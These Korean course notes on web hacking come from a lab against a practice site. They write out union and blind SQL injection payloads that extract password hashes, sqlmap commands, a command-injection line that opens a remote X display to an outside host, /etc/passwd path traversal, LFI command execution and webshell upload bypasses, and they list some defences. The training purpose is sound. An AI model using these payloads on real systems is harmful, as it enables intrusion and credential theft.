Cross Site Script Process
SQL INJECTION - server side attack
공격자가 입력한 데이터에 대한 유효성을 점검하지 않아 DB 쿼리문이 변경 되어 부적절한 SQL 명령을 수행할 수 있는 공격이다
-> 데이터베이스의 내용을 웹상으로 쭉 유출시키는 공격기법
-> 커멘드명령, DB 내용, 서버 컨트롤 장악 하는 공격
** XSS 는 클라이언트쪽 사용자 권한을 획득하는 사용자의 패스워드, 정보를 바꾸는 형태이다.
SQL INJECTION 종류
- Union (옛날 공격기법) - 실습예정
- Error Based (옛날 공격기법)
- Blind SQL (최근 가장 많이 발생하는 취약점) - 실습예정
- Stored Procedure based
SQL 인젝션 취약점이 존재할 경우, 공격자는 xp_cmdshell과 같은 확장 프로시저를 통해 서버의 운영 체제에 대한 불법적인 접근을 시도할 수 있다.
공격 유형 : DB 정보 열람, DB 정보 변경/삭제, 커맨드 명령 실행, 파일 생성 및 실행
SQL대표적인 커맨드 : select, update, delete, insert
- Union
'or''=’ (조건을 항상 참으로 만든다.)
아이디 / 비밀번호에 동일하게 입력한다.
Check for vulnerability
Check for UNION function (no값이 유효하지 않아야 원하는 값 출력)
http://freehack.bug/?main=/board/board_view.php3&no=0' union select 1,2,3,4,5,6,7%23
프로그램에서 1 5 7은 출력은 하라는 소스가 스크립트에 없기 떄문에 출력이 되지 않는다.
Check for MySQL version
http://freehack.bug/?main=/board/board_view.php3&no=0' union select 1,2,3,@@version,5,6,7%23
공격 프로세스
information schema에서 table name 뽑아옴 → 실제 member table의 아이디, 패스워드를 뽑음
http://freehack.bug/?main=/board/board_view.php3&no=0' union all select 1,2,3, column_name,5,6,7 from information_schema.columns where table_name='member' limit 0,1%23 <--- no
http://freehack.bug/?main=/board/board_view.php3&no=0' union all select 1,2,3, column_name,5,6,7 from information_schema.columns where table_name='member' limit 1,1%23 <--- id
http://freehack.bug/?main=/board/board_view.php3&no=0' UNION SELECT 1,2,3,column_name,5,6,7 from information_schema.columns where table_name='member' limit 2,1%23 <--- pass
http://freehack.bug/?main=/board/board_view.php3&no=0' UNION SELECT 1,2,id,pass,5,6,7 from member limit 0,1%23 <-- admin,
*A4B6157319038724E3560894F7F932C8886EBFCF
http://freehack.bug/?main=/board/board_view.php3&no=0' UNION SELECT 1,2,id,pass,5,6,7 from member limit 1,1%23<-- guest,
- A4B6157319038724E3560894F7F932C8886EBFCF
- Blind SQL
데이터베이스 결과가 외부에 출력되지 않고(ex> 로그인 서비스), 서버 내부적으로만 처리되는 구조에서 SQL Injection 기법을 통해 데이터베이스에 존재하는 값을 알아내는 공격 방식이다.
일반적으로 참/거짓을 이용하여 데이터를 얻어온다.
ex> 로그인 성공 -> 참, 로그인 실패 -> 거짓
- Union INJECTION → 덩어리채 뽑음
- Blind INJECTION → 글자 하나씩 대조
예를 들어 s라는글자를 뽑아오고 → i 뽑고 .. → g 뽑고
(a부터 쭉 집어넣고 한글자씩 대조를 해서 요청을 한다.
** Union select보다 훨씬 서버쪽으로 요청하는 쿼리의 양이 많아질수 밖에 없다.
노가다로 한단어씩 추출한다. 단어가 맞을 경우 통과되고 아닐경우 에러메시지가 올라온다.
아래와 같이 ID에 SQL query / PASSWORD 1234 또는 아무거나 입력하고 로그인을 시도
// Database 이름 크기 추출
id : kioo' and length(DATABASE()) < 12## (T)
id : kioo' and length(DATABASE()) = 10## (F)
id : kioo' and length(DATABASE()) = 8## (freehack, T)
id : kioo' and length(DATABASE()) < 7## (F)
// Database 이름 추출
id : kioo' and ASCII(SUBSTRING((DATABASE()),1,1)) < 102## (F)
id : kioo' and ASCII(SUBSTRING((DATABASE()),1,1)) = 102## -> f
id : kioo' and ASCII(SUBSTRING((DATABASE()),2,1)) = 114## ->r
id : kioo' and ASCII(SUBSTRING((DATABASE()),3,1)) = 101## -> e
// Table 이름 추출
kioo' and ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE TABLE_SCHEMA='freehack' limit 0,1),1,1)) < 130##
kioo' and ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE TABLE_SCHEMA='freehack' limit 0,1),1,1)) = 98## -> b
kioo' and ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE TABLE_SCHEMA='freehack' limit 0,1),2,1)) = 111## -> o
kioo' and ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE TABLE_SCHEMA='freehack' limit 0,1),3,1)) = 97## -> a
kioo' and ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE TABLE_SCHEMA='freehack' limit 1,1),1,1)) = 109## -> m
kioo' and ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE TABLE_SCHEMA='freehack' limit 1,1),2,1)) = 101## -> e
// 컬럼명 추출
kioo' and ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE TABLE_NAME='member' limit 0,1),1,1)) < 130##
test' or ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE TABLE_NAME='member' limit 0,1),1,1)) < 130##
kioo' and ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE TABLE_NAME='member' limit 0,1),1,1)) = 110## ->n
kioo' and ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE TABLE_NAME='member' limit 0,1),2,1)) = 111## ->o
kioo' and ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE TABLE_NAME='member' limit 1,1),1,1)) = 105## ->i
kioo' and ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE TABLE_NAME='member' limit 1,1),2,1)) = 100## -> d
kioo' and ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE TABLE_NAME='member' limit 2,1),1,1)) = 112## ->p
kioo' and ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE TABLE_NAME='member' limit 2,1),2,1)) = 97## -> a
kioo' and ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE TABLE_NAME='member' limit 2,1),3,1)) = 115## -> s
kioo' and ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE TABLE_NAME='member' limit 2,1),4,1)) = 115## ->s
// 패스워드 추출(1) *4ACFE3202A5FF5CF467898FC58AAB1D615029441
kioo' and ASCII(SUBSTRING((select pass from member limit 0,1),1,1)) < 130##
kioo' and ASCII(SUBSTRING((select pass from member limit 0,1),1,1)) = 42## ->*
kioo' and ASCII(SUBSTRING((select pass from member limit 0,1),2,1)) = 52## -> 4
// 패스워드 추출(2)
id : kioo' and (ASCII(substring(pass,1,1))=42) ## ->----------- 42 는 * 임
pw : 아무거나
* C8D060EB2D0AEFC164BE22E2F8A52C0E99AF19A9
id : kioo' and (ASCII(substring(pass,2,1))=67) ## ->---------- 67 는 C 임
pw : 아무거나
id : admin' and (ASCII(substring(pass,1,1))=42)## ->----------- 42 는 * 임
pw : 아무거나
*A4B6157319038724E3560894F7F932C8886EBFCF
폰트 스캐너 (사용 주의)
"폰트 스캐너"라는 용어는 일반적으로 웹사이트나 애플리케이션에서 사용되는 폰트를 분석하고 식별하는 도구나 기술을 의미할 수 있습니다. 폰트 스캐너는 웹페이지에서 사용된 폰트의 종류와 스타일을 추출하여 이를 보여주는 기능을 가집니다.
nmap -v -A freehack.bug
SQL MAP
https://sqlmap.org/ 접속후 오른쪽에 다운로드 zip파일 다운
https://github.com/sqlmapproject/sqlmap/zipball/master
sqlmap.py --shell
u "http://freehack.bug/?main=/board/board_view.php3&no=232" --dbs
u "http://freehack.bug/?main=/board/board_view.php3&no=232" -D freehack --tables -u "http://freehack.bug/?main=/board/board_view.php3&no=232" -D freehack -T member --columns
u "http://freehack.bug/?main=/board/board_view.php3&no=232"
XPATH INJECTION
조작된 XPath(XML Path Language) 쿼리를 보냄으로써 비정상적인 데이터를 쿼리해 올 수 있는 취약점으로, XML 문서에 데이터를 저장하는 웹사이트는 사용자가 입력한 내용의 데이터를 찾기 위해 XPath를 사용 하고, 이런 입력이 필터링이나 보안을 고려하지 않은 채 XPath 쿼리 안에 입력된다면 웹사이트의 로직을 손상시키거나 특정 데이터를 추출할 수 있게 된다.
-> XPath 인젝션은 사용자가 입력한 데이터가 제대로 검증되지 않을 때 발생하는 취약점으로, 이로 인해 공격자는 웹사이트의 데이터를 유출하거나 조작할 수 있게 됩니다.
대응 방안
-> 입력 값 검증 필요
-> XPATH parameterized 사용
Command INJECTION
-> 프로그램이 외부에서 입력 받은 시스템 명령어를 검증하지 않고 실행하는 경우 의도하지 않은 시스템 명령어가 실행될 수 있는 취약점이다.
- 공격 유형 -> 부적절한 권한 변경 ->시스템 권한 획득 -> 시스템 동작/운영에 악영향
개발자가 리눅스나 관련 명령어 프로그램을 짜는데 웹상에서 커멘드를 쉽게 찾을 수 있게 해논 것
리버스 텔넷 / SS터널링 / DNS 터널링
- 리버스텔넷
리버스 텔넷(Reverse Telnet)은 일반적으로 원격 장치와의 통신을 위해 사용하는 텔넷(Telnet) 프로토콜의 변형입니다. 이 기술은 특정 장치에 대한 원격 접근을 가능하게 하며, 주로 네트워크 장비나 IoT(사물인터넷) 디바이스에서 사용됩니다.
아래 사진에 넣기
ls ; xterm -display 192.168.1.40:1.0 &
- 정상적으로 텔넷 거는게 아니라 서버쪽에서 클라이언트 피씨 쪽으로 텔넷을 건다
가급적 시스템 명령어 사용 금지 외부에서 전달되는 데이터와 조합 금지 필터링을 통한 다중 명령 실행 금지
파라미터 조작
- 웹 어플리케이션 상에 존재하는 모든 실행경로에 대해서 접근제어를 검사하지 않거나 미흡한 경우 공격자가 접근 가능한 실행경로를 통해 사용자의 정보를 유출 하거나 일시적인 권한 상승이 가능한 취약점.
- URL/파라미터 변조의 경우 불충분한 인증 및 인가 취약점과 유사하지만 프로세스 검증을 우회하는 것 이외에 사용자 입력 값에 대한 검증 누락이 발생하는 모든 상황을 포함하고 있으므로 SQL 인젝션, 불충분한 인증 및 인가, 크로스 사이트 스크립트 (XSS) 공격에 활용될 수 있음
네이버 카페 같은 곳에서 운영자가 이 Query를 통해 게시글을 최상단(공지)으로 고정 시킬 지 정한다 → 취약점 발생 -> web proxy tool을 통한 쿼리를 조작해서 내 마음대로 최상단에 내 게시글을 고정할 수 있음
http://freehack.bug/member/member_modify2.html?id=test
http://freehack.bug/member/member_modify2.html?id=admin
인증권한 체크 부실로 발생함
관리자권한으로 바꿀 수 있음
웹 어플리케이션에서 제공하는 정보와 기능을 역할에 따라 배분함으로써 사용자가 변경할 수 있는 데이터의 노출을 최소화하는 것이 필요하며, 서버로 전송된 사용자 입력 값의 경우 세션 및 데이터베이스와 비교를 하여 데이터가 변조되었는지 검증할 수 있는 과정을 구현해야 함
→ 세션을 가지고 인증체크를 하라는 말
IT정보보호 구축 가이드 - sk 쉴더스 발행 3.0 나옴
FILE UPLOAD
파일이 첨부되서 올라오는지를 잘 확인해야함 - 공격자는 웹 쉘을 업로드해서 모든 정보를 열람 가능하게 만들 수 있다.
- 취약점 설명
-> 파일 업로드 취약점이랑 서버에 파일이 업로드 되는 기능을 이용하여, 업로드 된 파일을 웹 서버에 요청할 때, 웹 서버가 Server Side Script로 해석하여 생기는 취약점
-> 웹 사이트의 파일 업로드 기능을 이용하여 인가 받지 않은 파일을 서버 에 업로드 하는 공격
- 공격 유형
1. WebShell 업로드
2. DOS(Disk Full)
3. 시스템 권한 획득
이 표는 APM 스택을 포함한 웹 서버, 데이터베이스, 서버 사이드 스크립트 및 파일 확장자를 간단히 정리한 것입니다. 각 웹 서버와 그에 대응하는 데이터베이스 및 스크립트 언어의 조합을 보여줍니다.
- 악성파일 업로드
▪ 공격 시나리오 : 웹쉘 형태의 파일을 업로드 후 실행하면 서버의 자원을 장악할 수 있음
▪ 파일 업로드 공격은 1.파일이 업로드 되어야 하고 2.업로드 경로를 알 수 있어야 하고, 3.실행 권한이 있어 실행시킬 수 있어야 함
웹사이트 게시글 작성 할때 php 파일을 업로드 하지 못하게 막아놨다. -> 코드를 통해 확장자 파일이 . 으로 구분이 된다는 것을 알았다
그래서 앞에 .jpg 를 사용함으로써 코드의 헛점을 노려 우회할 수 있다.
아래의 사진은 유명한 C99Shell(웹쉘)화면
FILE DOWNLOAD
파일 다운로드 취약점이란 서버에 업로드 된 파일을 다운로드 받을 수 있게 만들어진 서비스를 이용하여, 정해진 파일이 아닌 다른(시스템 파 일, 소스 코드 등)파일을 다운로드 받을 수 있는 취약점이다.
다른파일은 시스템파일(etc의 패스워드 파일, hosts 파일 같이 없어서는 안되는 파일들) 이나 소스 코드가 될 수 있다.
개발자가 의도하지않게 다른 파일을 의도하는 것
**커멘드 인젝션- 개발자가 의도하지않게 다른 파일도 같이 수행하는 것
기존 URL
http://freehack.bug/board/board_down.php3?file_name=c99.php
공격 실행
URL에 아래와 같이 작성하면 루프가 돌면서 etc/passwd 파일을 받을 수 있음
http://freehack.bug/board/board_down.php3?file_name=/../../../../../../etc/passwd
./ 를 강제로 지우는 아래와 같은 코드가 있으면
-> ..// 이런식으로 두번 적으면 ./ 가 지워져도 ./ 한묶음이 남기 때문에 우회할 수 있다.
공격 유형
- 소스 코드 유출 - 어느정도 경로를 알아야지 할 수 있음
- 중요 파일 유출
- 데이터베이스 정보 유출 - 디비 연결정보 파일
- DownLoad 취약점
- 저장된 경로 찾기(이미지/에러베이스 등)
- 필터링 우회 • 대응 방앆
- 필터링을 통한 차단
- 직접 링크보다는 간접링크 사용 • 갂접 링크를 통한 필터링 및 접근 제어(악성코드/FlashGet 등)
개발자가 의도하지 않는 행위를 할 수 있는 것
INCLUSION ATTACK
페이지를 렌더링 할 때 웹 페이지에 동적으로 포함되는 INCLUDE 파일 을 사용하면 한 콘텐츠를 사이트의 여러 페이지에 쉽게 포함시킬 수 있는 기능을 악용하여 사용할 수 있는 취약점이다.
->INCLUDE 파일은 웹 페이지에서 공통 콘텐츠를 쉽게 재사용할 수 있도록 도와주지만, 잘못 사용하면 보안 취약점이 생길 수 있습니다. 공격자가 악의적인 코드를 포함한 파일을 서버에 업로드하고 이를 INCLUDE하면, 사용자에게 악성코드가 실행될 수 있습니다. 따라서 INCLUDE 파일 사용 시 보안에 주의해야 합니다.
Include/require/require_ once/include_ once
- RFI - Remote File inclusion
외부에 존재하는 컨텐츠를 동적 로드 가능
allow_url_fopen 허용 시 동작
http/ftp 등 다양한 프로토콜 지원
외부 서비스(블로그, 카페, 자료실 등)를 통한 공격 가능
원격에 있는 파일을 사용해서 명령을 수행
- LFI - Local File inclusion → 로컬에 있는 파일을 인크루드 시켜서 발생하는 취약점
내부에 존재하는 컨텐츠를 동적으로 로드 가능.
- Log 파일, 홖경 변수, 자료실 등 이용.
http://freehack.bug/?main=/data/cmd.txt&cmd=id
인클루드 함수를 잘못써서 외부나 내부에 있는 함수를 잘못 인클루드해서 프로그램이 실행되는 것
기타 웹공격 기법
관리자페이지 노출
- 아래와 같이 추측하기 쉬운 관리자 페이지는 가급적 피하도록 한다. 이런식으로 관리자 페이지 접속하고 → SQL INJECTION
http://admin.victim.comhttp//www.victim.com/admin
http://www.victim.com/manager/http://www.victim.com/master/http://www.victim.com/system
사용자 인증 부재 취약점
http://freehack.bug/admin/member/**member_list..php3**
유추할 수 있는 이름으로 지정하면 찍어서 맞출 수 있다.
이용자 인증정보 재사용
▪ 개요 : 세션 값을 훔쳐 타 사용자 이용 환경에서 사용 시 훔친 세션 값의 인증 및 권한을 그대로 가지고 있는 취약점/공격
▪ 예상 가능 공격 : 타 사용자 권한 탈취 후 서비스에 따른 공격 예) 금융 앱에서 피해자의 계좌에서 공격자의 계좌로 송금
▪ 취약점 확인 방법 : 세션값을 복사 후 타 PC 에서 사용해보고 복수의 위치에 서 세션값이 사용 가능한지 확인
▪ 보안 방법 ➢ 처음 세션 발급 시 IP정보를 세션 변수에 담아 두었다가 이 후 동일한 세션값을 가지는 클라이언트가 접속 시에 비교함 ➢ 금융기관에서는 내부망 IP 정보도 세션을 나누어 분배하므로 클라이언트/서버 프로그램을 설치하여 MAC주소 비교하여 세션 재 사용 취약점에 대응함 ➢ 중복 로그인을 차단
- 유추가능한 인증정보 이용(세션), 불충분한 세션종료 처리 말로 설명 • 고정된 인증정보 재사용
TEST 준비
1번 GET POST 메소드
2번 응답값 200ok
3번 File download 취약점
4번 CSRF SSRF
5번 ???